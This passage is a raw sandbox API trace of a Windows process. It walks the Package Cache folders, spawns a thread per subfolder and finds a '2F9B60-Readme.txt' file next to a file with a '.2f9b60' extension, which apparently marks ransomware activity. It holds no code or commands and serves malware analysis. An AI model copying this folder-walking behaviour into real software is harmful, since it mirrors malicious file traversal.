lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158c [0127.221] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x20266540 | out: lpFindFileData=0x20266540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0127.221] FindClose (in: hFindFile=0x1cd9dc70 | out: hFindFile=0x1cd9dc70) returned 1 [0127.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266540) returned 1 [0127.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279730) returned 1 [0127.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 Thread: id = 1169 os_tid = 0x73c [0113.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279d30 [0113.653] wcscpy (in: _Dest=0x20279d30, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0113.653] wcscat (in: _Dest=0x20279d30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0113.653] wcscat (in: _Dest=0x20279d30, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" [0113.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x202667b0 [0113.653] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x202667b0 | out: lpFindFileData=0x202667b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dbb0 [0113.653] wcscmp (_String1=".", _String2=".") returned 0 [0113.654] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x202667b0 | out: lpFindFileData=0x202667b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.654] wcscmp (_String1="..", _String2=".") returned 1 [0113.654] wcscmp (_String1="..", _String2="..") returned 0 [0113.654] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x202667b0 | out: lpFindFileData=0x202667b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0113.654] wcscmp (_String1="packages", _String2=".") returned 1 [0113.654] wcscmp (_String1="packages", _String2="..") returned 1 [0113.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x202788f0 [0113.654] wcscpy (in: _Dest=0x202788f0, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0113.654] wcscat (in: _Dest=0x202788f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0113.654] wcscat (in: _Dest=0x202788f0, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0127.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202788f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc78 [0127.225] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x202667b0 | out: lpFindFileData=0x202667b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0127.225] FindClose (in: hFindFile=0x1cd9dbb0 | out: hFindFile=0x1cd9dbb0) returned 1 [0127.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202667b0) returned 1 [0127.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279d30) returned 1 [0127.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8616a0) returned 1 Thread: id = 1170 os_tid = 0x4e0 [0113.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279af0 [0113.656] wcscpy (in: _Dest=0x20279af0, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0113.656] wcscat (in: _Dest=0x20279af0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0113.656] wcscat (in: _Dest=0x20279af0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" [0113.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20266a20 [0113.656] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x20266a20 | out: lpFindFileData=0x20266a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d850 [0113.656] wcscmp (_String1=".", _String2=".") returned 0 [0113.656] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x20266a20 | out: lpFindFileData=0x20266a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.656] wcscmp (_String1="..", _String2=".") returned 1 [0113.656] wcscmp (_String1="..", _String2="..") returned 0 [0113.657] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x20266a20 | out: lpFindFileData=0x20266a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0113.657] wcscmp (_String1="packages", _String2=".") returned 1 [0113.657] wcscmp (_String1="packages", _String2="..") returned 1 [0113.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20279430 [0113.657] wcscpy (in: _Dest=0x20279430, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0113.657] wcscat (in: _Dest=0x20279430, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0113.657] wcscat (in: _Dest=0x20279430, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0126.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20279430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb90 [0126.903] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x20266a20 | out: lpFindFileData=0x20266a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0126.903] FindClose (in: hFindFile=0x1cd9d850 | out: hFindFile=0x1cd9d850) returned 1 [0126.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a20) returned 1 [0126.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279af0) returned 1 [0126.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861750) returned 1 Thread: id = 1171 os_tid = 0x9e8 [0113.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202794f0 [0113.658] wcscpy (in: _Dest=0x202794f0, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0113.658] wcscat (in: _Dest=0x202794f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0113.658] wcscat (in: _Dest=0x202794f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" [0113.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20266c90 [0113.659] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x20266c90 | out: lpFindFileData=0x20266c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d730 [0113.659] wcscmp (_String1=".", _String2=".") returned 0 [0113.659] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x20266c90 | out: lpFindFileData=0x20266c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.659] wcscmp (_String1="..", _String2=".") returned 1 [0113.659] wcscmp (_String1="..", _String2="..") returned 0 [0113.659] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x20266c90 | out: lpFindFileData=0x20266c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0113.659] wcscmp (_String1="packages", _String2=".") returned 1 [0113.659] wcscmp (_String1="packages", _String2="..") returned 1 [0113.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20279370 [0113.659] wcscpy (in: _Dest=0x20279370, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0113.660] wcscat (in: _Dest=0x20279370, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0113.660] wcscat (in: _Dest=0x20279370, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0127.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20279370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1580 [0127.228] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x20266c90 | out: lpFindFileData=0x20266c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0127.229] FindClose (in: hFindFile=0x1cd9d730 | out: hFindFile=0x1cd9d730) returned 1 [0127.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c90) returned 1 [0127.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202794f0) returned 1 [0127.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861800) returned 1 Thread: id = 1172 os_tid = 0x340 [0113.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279130 [0113.661] wcscpy (in: _Dest=0x20279130, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0113.662] wcscat (in: _Dest=0x20279130, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0113.662] wcscat (in: _Dest=0x20279130, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*" [0113.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20266f00 [0113.662] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x20266f00 | out: lpFindFileData=0x20266f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d130 [0113.662] wcscmp (_String1=".", _String2=".") returned 0 [0113.662] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x20266f00 | out: lpFindFileData=0x20266f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.662] wcscmp (_String1="..", _String2=".") returned 1 [0113.662] wcscmp (_String1="..", _String2="..") returned 0 [0113.662] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x20266f00 | out: lpFindFileData=0x20266f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0113.662] wcscmp (_String1="packages", _String2=".") returned 1 [0113.663] wcscmp (_String1="packages", _String2="..") returned 1 [0113.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20278ef0 [0113.663] wcscpy (in: _Dest=0x20278ef0, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0113.663] wcscat (in: _Dest=0x20278ef0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0113.663] wcscat (in: _Dest=0x20278ef0, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0127.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20278ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154c [0127.232] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x20266f00 | out: lpFindFileData=0x20266f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0127.232] FindClose (in: hFindFile=0x1cd9d130 | out: hFindFile=0x1cd9d130) returned 1 [0127.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f00) returned 1 [0127.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279130) returned 1 [0127.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8618b0) returned 1 Thread: id = 1173 os_tid = 0x908 [0113.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205c5b0 [0113.674] wcscpy (in: _Dest=0x4205c5b0, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0113.674] wcscat (in: _Dest=0x4205c5b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0113.674] wcscat (in: _Dest=0x4205c5b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*" [0113.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20267170 [0113.674] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x20267170 | out: lpFindFileData=0x20267170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf39702b0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xf39702b0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d9d0 [0113.675] wcscmp (_String1=".", _String2=".") returned 0 [0113.675] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x20267170 | out: lpFindFileData=0x20267170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf39702b0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xf39702b0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.675] wcscmp (_String1="..", _String2=".") returned 1 [0113.675] wcscmp (_String1="..", _String2="..") returned 0 [0113.675] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x20267170 | out: lpFindFileData=0x20267170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf39702b0, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xf39702b0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xf4211270, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F9B60-Readme.txt", cAlternateFileName="2F9B60~1.TXT")) returned 1 [0113.675] wcscmp (_String1="2F9B60-Readme.txt", _String2=".") returned 1 [0113.675] wcscmp (_String1="2F9B60-Readme.txt", _String2="..") returned 1 [0113.675] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x20267170 | out: lpFindFileData=0x20267170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfe3882c0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="c9c1af6b8.2f9b60", cAlternateFileName="C9C1AF~1.2F9")) returned 1 [0113.675] wcscmp (_String1="c9c1af6b8.2f9b60", _String2=".") returned 1 [0113.675] wcscmp (_String1="c9c1af6b8.2f9b60", _String2="..") returned 1 [0113.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20278530 [0113.675] wcscpy (in: _Dest=0x20278530, _Source="C:\\Users\\All 